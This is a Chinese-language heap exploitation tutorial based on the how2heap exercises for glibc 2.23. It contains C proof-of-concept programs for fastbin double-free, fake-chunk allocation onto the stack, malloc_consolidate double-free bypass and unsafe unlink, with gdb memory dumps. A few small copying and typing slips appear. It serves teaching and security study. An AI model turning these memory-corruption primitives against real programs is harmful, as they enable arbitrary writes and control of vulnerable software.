堆习题练习(how2heap)

这里我们借用shellphish 团队制作的堆利用教程how2heap
在做这些练习题之前,建议大家去看一看华庭写的“Glibc内存管理-Ptmalloc2源码分析”
链接: https://pan.baidu.com/s/1sobxbN9nHDfqnruAcCtdzQ 密码: l343
前提知识储备

  • 熟悉堆内存块的分配方式
  • 熟悉各种bin的内存布局

如果想要学好本章节的话,非常推荐大家用gdb调试一下,关键位置单步跟踪观察内存情况。

堆利用工具汇总

shadow

jemalloc exploitation framework: https://github.com/CENSUS/shadow

libheap

Examine the glibc heap in gdb: https://github.com/cloudburst/libheap

heap-viewer

Examine the glibc heap in IDA Pro: https://github.com/danigargu/heap-viewer

heapinspect

A Python based heap playground with good visualization for educational purposes: https://github.com/matrix1001/heapinspect

测试环境 GLIBC 2.23

first_fit

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
    char* a = malloc(512);
    char* b = malloc(256);
    char* c;

    fprintf(stderr, "1st malloc(512): %p\n", a);
    fprintf(stderr, "2nd malloc(256): %p\n", b);
    strcpy(a, "AAAAAAAA");
    strcpy(b, "BBBBBBBB");
    fprintf(stderr, "first allocation %p points to %s\n", a, a);

    fprintf(stderr, "Freeing the first one...\n");
    free(a);

    c = malloc(500);
    fprintf(stderr, "3rd malloc(500): %p\n", c);
    strcpy(c, "CCCCCCCC");
    fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
    fprintf(stderr, "first allocation %p points to %s\n", a, a);
}
  • 这个程序并不展示如何攻击,而是展示glibc的一种分配规则.

  • glibc使用一种first-fit算法去选择一个free-chunk.

  • 如果存在一个free-chunk并且足够大的话,malloc会优先选取这个chunk.

  • 这种机制就可以在被利用于use after free(简称uaf)的情形中.

  • 先分配两个buffer,可以分配大一点,是不是fastbin也无所谓.

gcc -g first_fit.c

堆习题练习(how2heap)

这第一个程序展示了 glibc 堆分配的策略,即 first-fit。在分配内存时,malloc 会先到 unsorted bin(或者fastbins) 中查找适合的被 free 的 chunk,如果没有,就会把 unsorted bin 中的所有 chunk 分别放入到所属的 bins 中,然后再去这些 bins 里去找合适的 chunk。可以看到第三次 malloc 的地址和第一次相同,即 malloc 找到了第一次 free 掉的 chunk,并把它重新分配。

一个很明显的 use-after-free 漏洞。关于这类漏洞的详细利用过程,我们会在后面的章节里再讲。

fastbin_dup

这个程序更具体地展示了上一个程序所介绍的技巧,通过欺骗malloc来返回一个我们可控的区域的指针(在这个例子中,我们可以返回一个栈指针)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
    fprintf(stderr, "Allocating 3 buffers.\n");
    char *a = malloc(9);
    char *b = malloc(9);
    char *c = malloc(9);
    strcpy(a, "AAAAAAAA");
    strcpy(b, "BBBBBBBB");
    strcpy(c, "CCCCCCCC");
    fprintf(stderr, "1st malloc(9) %p points to %s\n", a, a);
    fprintf(stderr, "2nd malloc(9) %p points to %s\n", b, b);
    fprintf(stderr, "3rd malloc(9) %p points to %s\n", c, c);

    fprintf(stderr, "Freeing the first one %p.\n", a);
    free(a);
    fprintf(stderr, "Then freeing another one %p.\n", b);
    free(b);
    fprintf(stderr, "Freeing the first one %p again.\n", a);
    free(a);

    fprintf(stderr, "Allocating 3 buffers.\n");
    char *d = malloc(9);
    char *e = malloc(9);
    char *f = malloc(9);
    strcpy(d, "DDDDDDDD");
    fprintf(stderr, "4st malloc(9) %p points to %s the first time\n", d, d);
    strcpy(e, "EEEEEEEE");
    fprintf(stderr, "5nd malloc(9) %p points to %s\n", e, e);
    strcpy(f, "FFFFFFFF");
    fprintf(stderr, "6rd malloc(9) %p points to %s the second time\n", f, f);
}

这个程序展示了一个利用fastbin进行的double-free攻击. 攻击比较简单.
gcc -g fastbin_dup.c

堆习题练习(how2heap)
可以看到首先分配三块内存,当free掉第一块内存之后,再free一次该内存块是不行的,因为这时候这块内存刚好在对应的free-list的顶部,再次free这块内存就会被检查到,这里就free第二块内存。现在我们再次free第一块内存,因为它已经不在链表顶部了。
这时候的free-list有这三块内存[ 0x1a9710, 0x1a9730, 0x1a9710 ],如果我们malloc三次的话,就会得到0x1a970两次。
总结一下
这个程序展示了利用 fastbins 的 double-free 攻击,可以泄漏出一块已经被分配的内存指针。fastbins 可以看成一个 LIFO 的栈,使用单链表实现,通过 fastbin->fd 来遍历 fastbins。由于 free 的过程会对 free list 做检查,我们不能连续两次 free 同一个 chunk,所以这里在两次 free 之间,增加了一次对其他 chunk 的 free 过程,从而绕过检查顺利执行。然后再 malloc 三次,就在同一个地址 malloc 了两次,也就有了两个指向同一块内存区域的指针。

这里展示了一个简单的double-free,关于double-free更具体的利用在下面介绍。

fastbin_dup_into_stack

这个程序更具体地展示了上一个程序所介绍的技巧,通过欺骗malloc来返回一个我们可控的区域的指针(在这个例子中,我们可以返回一个栈指针)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
    unsigned long long stack_var = 0x21;
    fprintf(stderr, "Allocating 3 buffers.\n");
    char *a = malloc(9);
    char *b = malloc(9);
    char *c = malloc(9);
    strcpy(a, "AAAAAAAA");
    strcpy(b, "BBBBBBBB");
    strcpy(c, "CCCCCCCC");
    fprintf(stderr, "1st malloc(9) %p points to %s\n", a, a);
    fprintf(stderr, "2nd malloc(9) %p points to %s\n", b, b);
    fprintf(stderr, "3rd malloc(9) %p points to %s\n", c, c);

    fprintf(stderr, "Freeing the first one %p.\n", a);
    free(a);
    fprintf(stderr, "Then freeing another one %p.\n", b);
    free(b);
    fprintf(stderr, "Freeing the first one %p again.\n", a);
    free(a);

    fprintf(stderr, "Allocating 4 buffers.\n");
    unsigned long long *d = malloc(9);
    *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
    fprintf(stderr, "4nd malloc(9) %p points to %p\n", d, &d);
    char *e = malloc(9);
    strcpy(e, "EEEEEEEE");
    fprintf(stderr, "5nd malloc(9) %p points to %s\n", e, e);
    char *f = malloc(9);
    strcpy(f, "FFFFFFFF");
    fprintf(stderr, "6rd malloc(9) %p points to %s\n", f, f);
    char *g = malloc(9);
    strcpy(g, "GGGGGGGG");
    fprintf(stderr, "7th malloc(9) %p points to %s\n", g, g);
}

运行
堆习题练习(how2heap)
这个程序和上个程序差不多,区别在于,这个程序在double-free之后多伪造了一个chunk在链表上,进行了第四次malloc,将我们可以控制的一个地址malloc了出来.
当然,这个地址也可以是堆地址,只要可控(因为我们至少要伪造好size字段来逃过检查).
在伪造好的堆块被放到链表之前,free-list是这样的(图中的地址的值和上面程序直接输出的不一样,是因为我的系统开了ASLR.)

通过double-free后的第三次malloc将伪造的堆块地址放在了free-list,效果如下

也许有人会有疑问,为什么链表上还会多出来一个地址? 那是因为我们伪造的堆块的fd指针位置刚好是这个地址的值.可以查看一下内存:

不过这可能会给我们后面的malloc带来一定影响,所以,我们可以在malloc出我们的伪堆块之前确保fd字段为0.

fastbin_dup_consolidate

这个程序展示了利用在 large bin 的分配中 malloc_consolidate 机制绕过 fastbin 对 double free 的检查,这个检查在 fastbin_dup 中已经展示过了,只不过它利用的是在两次 free 中间插入一次对其它 chunk 的 free。

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>

int main() {
    void *p1 = malloc(0x10);
    void *p2 = malloc(0x10);
    strcpy(p1, "AAAAAAAA");
    strcpy(p2, "BBBBBBBB");
    fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);

    fprintf(stderr, "Now free p1!\n");
    free(p1);

    void *p3 = malloc(0x400);
    fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
    fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");

    free(p1);
    fprintf(stderr, "Trigger the double free vulnerability!\n");
    fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");

    void *p4 = malloc(0x10);
    strcpy(p4, "CCCCCCC");
    void *p5 = malloc(0x10);
    strcpy(p5, "DDDDDDDD");
    fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", p4, p5);
}

堆习题练习(how2heap)

首先分配两个 fast chunk:

gef➤  x/15gx 0x602010-0x10
0x602000:   0x0000000000000000  0x0000000000000021  <-- chunk p1
0x602010:   0x4141414141414141  0x0000000000000000
0x602020:   0x0000000000000000  0x0000000000000021  <-- chunk p2
0x602030:   0x4242424242424242  0x0000000000000000
0x602040:   0x0000000000000000  0x0000000000020fc1  <-- top chunk
0x602050:   0x0000000000000000  0x0000000000000000
0x602060:   0x0000000000000000  0x0000000000000000
0x602070:   0x0000000000000000

释放掉 p1,则空闲 chunk 加入到 fastbins 中:

gef➤  x/15gx 0x602010-0x10
0x602000:   0x0000000000000000  0x0000000000000021  <-- chunk p1 [be freed]
0x602010:   0x0000000000000000  0x0000000000000000
0x602020:   0x0000000000000000  0x0000000000000021  <-- chunk p2
0x602030:   0x4242424242424242  0x0000000000000000
0x602040:   0x0000000000000000  0x0000000000020fc1  <-- top chunk
0x602050:   0x0000000000000000  0x0000000000000000
0x602060:   0x0000000000000000  0x0000000000000000
0x602070:   0x0000000000000000
gef➤  heap bins fast
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10]Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)

此时如果我们再次释放 p1,必然触发 double free 异常,然而,如果此时分配一个 large chunk,效果如下:

gef➤  x/15gx 0x602010-0x10
0x602000:   0x0000000000000000  0x0000000000000021  <-- chunk p1 [be freed]
0x602010:   0x00007ffff7dd1b88  0x00007ffff7dd1b88      <-- fd, bk pointer
0x602020:   0x0000000000000020  0x0000000000000020  <-- chunk p2
0x602030:   0x4242424242424242  0x0000000000000000
0x602040:   0x0000000000000000  0x0000000000000411  <-- chunk p3
0x602050:   0x0000000000000000  0x0000000000000000
0x602060:   0x0000000000000000  0x0000000000000000
0x602070:   0x0000000000000000
gef➤  heap bins fast
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10] 0x00
gef➤  heap bins small
[ Small Bins for arena 'main_arena' ]
[+] small_bins[1]: fw=0x602000, bk=0x602000Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
[+] Found 1 chunks in 1 small non-empty bins.

可以看到 fastbins 中的 chunk 已经不见了,反而出现在了 small bins 中,并且 chunk p2 的 prev_size 和 size 字段都被修改。

看一下 large chunk 的分配过程:

  /*
     If this is a large request, consolidate fastbins before continuing.
     While it might look excessive to kill all fastbins before
     even seeing if there is space available, this avoids
     fragmentation problems normally associated with fastbins.
     Also, in practice, programs tend to have runs of either small or
     large requests, but less often mixtures, so consolidation is not
     invoked all that often in most programs. And the programs that
     it is called frequently in otherwise tend to fragment.
   */

  else
    {
      idx = largebin_index (nb);
      if (have_fastchunks (av))
        malloc_consolidate (av);
    }

当分配 large chunk 时,首先根据 chunk 的大小获得对应的 large bin 的 index,接着判断当前分配区的 fast bins 中是否包含 chunk,如果有,调用 malloc_consolidate() 函数合并 fast bins 中的 chunk,并将这些空闲 chunk 加入 unsorted bin 中。因为这里分配的是一个 large chunk,所以 unsorted bin 中的 chunk 按照大小被放回 small bins 或 large bins 中。

由于此时 p1 已经不在 fastbins 的顶部,可以再次释放 p1:

gef➤  x/15gx 0x602010-0x10
0x602000:   0x0000000000000000  0x0000000000000021  <-- chunk p1 [double freed]
0x602010:   0x0000000000000000  0x00007ffff7dd1b88
0x602020:   0x0000000000000020  0x0000000000000020  <-- chunk p2
0x602030:   0x4242424242424242  0x0000000000000000
0x602040:   0x0000000000000000  0x0000000000000411  <-- chunk p3
0x602050:   0x0000000000000000  0x0000000000000000
0x602060:   0x0000000000000000  0x0000000000000000
0x602070:   0x0000000000000000
gef➤  heap bins fast
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10]Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
gef➤  heap bins small
[ Small Bins for arena 'main_arena' ]
[+] small_bins[1]: fw=0x602000, bk=0x602000Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
[+] Found 1 chunks in 1 small non-empty bins.

p1 被再次放入 fastbins,于是 p1 同时存在于 fabins 和 small bins 中。

第一次 malloc,chunk 将从 fastbins 中取出:

gef➤  x/15gx 0x602010-0x10
0x602000:   0x0000000000000000  0x0000000000000021  <-- chunk p1 [be freed], chunk p4
0x602010:   0x0043434343434343  0x00007ffff7dd1b88
0x602020:   0x0000000000000020  0x0000000000000020  <-- chunk p2
0x602030:   0x4242424242424242  0x0000000000000000
0x602040:   0x0000000000000000  0x0000000000000411  <-- chunk p3
0x602050:   0x0000000000000000  0x0000000000000000
0x602060:   0x0000000000000000  0x0000000000000000
0x602070:   0x0000000000000000
gef➤  heap bins fast
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10] 0x00
gef➤  heap bins small
[ Small Bins for arena 'main_arena' ]
[+] small_bins[1]: fw=0x602000, bk=0x602000Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
[+] Found 1 chunks in 1 small non-empty bins.

第二次 malloc,chunk 从 small bins 中取出:

gef➤  x/15gx 0x602010-0x10
0x602000:   0x0000000000000000  0x0000000000000021  <-- chunk p4, chunk p5
0x602010:   0x4444444444444444  0x00007ffff7dd1b00
0x602020:   0x0000000000000020  0x0000000000000021  <-- chunk p2
0x602030:   0x4242424242424242  0x0000000000000000
0x602040:   0x0000000000000000  0x0000000000000411  <-- chunk p3
0x602050:   0x0000000000000000  0x0000000000000000
0x602060:   0x0000000000000000  0x0000000000000000
0x602070:   0x0000000000000000

chunk p4 和 p5 在同一位置。

unsafe_unlink

这个程序展示了怎样利用 free 改写全局指针 chunk0_ptr 达到任意内存写的目的,即 unsafe unlink。该技术最常见的利用场景是我们有一个可以溢出漏洞和一个全局指针。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

uint64_t *chunk0_ptr;

int main() {
    int malloc_size = 0x80; // not fastbins
    int header_size = 2;

    chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
    uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
    fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
    fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

    // pass this check: (P->fd->bk != P || P->bk->fd != P) == False
    chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
    chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
    fprintf(stderr, "Fake chunk fd: %p\n", (void*) chunk0_ptr[2]);
    fprintf(stderr, "Fake chunk bk: %p\n\n", (void*) chunk0_ptr[3]);

    uint64_t *chunk1_hdr = chunk1_ptr - header_size;
    chunk1_hdr[0] = malloc_size;
    chunk1_hdr[1] &= ~1;

    free(chunk1_ptr);

    char victim_string[9];
    strcpy(victim_string, "AAAAAAAA");
    chunk0_ptr[3] = (uint64_t) victim_string;
    fprintf(stderr, "Original value: %s\n", victim_string);

    chunk0_ptr[0] = 0x4242424242424242LL;
    fprintf(stderr, "New Value: %s\n", victim_string);
}

libc-2.23其中 unlink 实现的代码如下,其中有一些对前后堆块的检查,也是我们需要绕过的:

/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {
    FD = P->fd;
    BK = P->bk;
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);
    else {
        FD->bk = BK;
        BK->fd = FD;
        if (!in_smallbin_range (P->size)
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {
        if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
        || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
          malloc_printerr (check_action,
                   "corrupted double-linked list (not small)",
                   P, AV);
            if (FD->fd_nextsize == NULL) {
                if (P->fd_nextsize == P)
                  FD->fd_nextsize = FD->bk_nextsize = FD;
                else {
                    FD->fd_nextsize = P->fd_nextsize;
                    FD->bk_nextsize = P->bk_nextsize;
                    P->fd_nextsize->bk_nextsize = FD;
                    P->bk_nextsize->fd_nextsize = FD;
                  }
              } else {
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;
              }
          }
      }
}

在解链操作之前,针对堆块 P 自身的 fd 和 bk 检查了链表的完整性,即判断堆块 P 的前一块 fd 的指针是否指向 P,以及后一块 bk 的指针是否指向 P。

这个练习的关键在于利用free()来改写全局指针chunk0_ptr以达到任意地址写入的目的.
在申请了chunk0和chunk1后看一下内存

堆习题练习(how2heap)

接下来要绕过if (__builtin_expect (FD->bk != P || BK->fd != P, 0))这个检查了,这个检查有个缺陷,就是 fd/bk 指针都是通过与 chunk 头部的相对地址来查找的。所以我们可以利用全局指针 chunk0_ptr 构造 fake chunk 来绕过它:

chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
...
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
chunk1_hdr[0] = malloc_size;
chunk1_hdr[1] &= ~1;

堆习题练习(how2heap)

可以看到,我们在 chunk0 里构造一个 fake chunk,用 P 表示,两个指针 fd 和 bk 可以构成两条链:P->fd->bk == P,P->bk->fd == P,可以绕过检查。另外利用 chunk0 的溢出漏洞,通过修改 chunk 1 的 prev_size 为 fake chunk 的大小,修改 PREV_INUSE 标志位为 0,将 fake chunk 伪造成一个 free chunk。

接下来就是释放掉 chunk1,这会触发 fake chunk 的 unlink 并覆盖 chunk0_ptr 的值。unlink 操作是这样进行的:

FD = P->fd;
BK = P->bk;
FD->bk = BK
BK->fd = FD

根据 fd 和 bk 指针在 malloc_chunk 结构体中的位置,这段代码等价于:

FD = P->fd = &P - 24
BK = P->bk = &P - 16
FD->bk = *(&P - 24 + 24) = P
FD->fd = *(&P - 16 + 16) = P

这样就通过了 unlink 的检查,最终效果为:

FD->bk = P = BK = &P - 16
BK->fd = P = FD = &P - 24

原本指向堆上 fake chunk 的指针 P 指向了自身地址减 24 的位置,这就意味着如果程序功能允许堆 P 进行写入,就能改写 P 指针自身的地址,从而造成任意内存写入。若允许堆 P 进行读取,则会造成信息泄漏。

在这个例子中,由于 P->fd->bk 和 P->bk->fd 都指向 P,所以最后的结果为:

chunk0_ptr = P = P->fd

成功地修改了 chunk0_ptr,这时 chunk0_ptr 和 chunk0_ptr[3] 实际上就是同一东西。这里可能会有疑惑为什么这两个东西是一样的,因为 chunk0_ptr 指针在是放在数据段上的,地址在 0x601070,指向 0x601058,而 chunk0_ptr[3] 的意思是从 chunk0_ptr 指向的地方开始数 3 个单位,所以 0x601058+0x08*3=0x601070:

堆习题练习(how2heap)

所以,修改 chunk0_ptr[3] 就等于修改 chunk0_ptr

堆习题练习(how2heap)

这时 chunk0_ptr 就指向了 victim_string,修改它:

gef➤  x/gx chunk0_ptr
0x7fffffffdc70: 0x4242424242424242

成功完成修改任意地址的任务。

参考

本文章首发在 网安wangan.com 网站上。

上一篇 下一篇
讨论数量: 0
只看当前版本


暂无话题~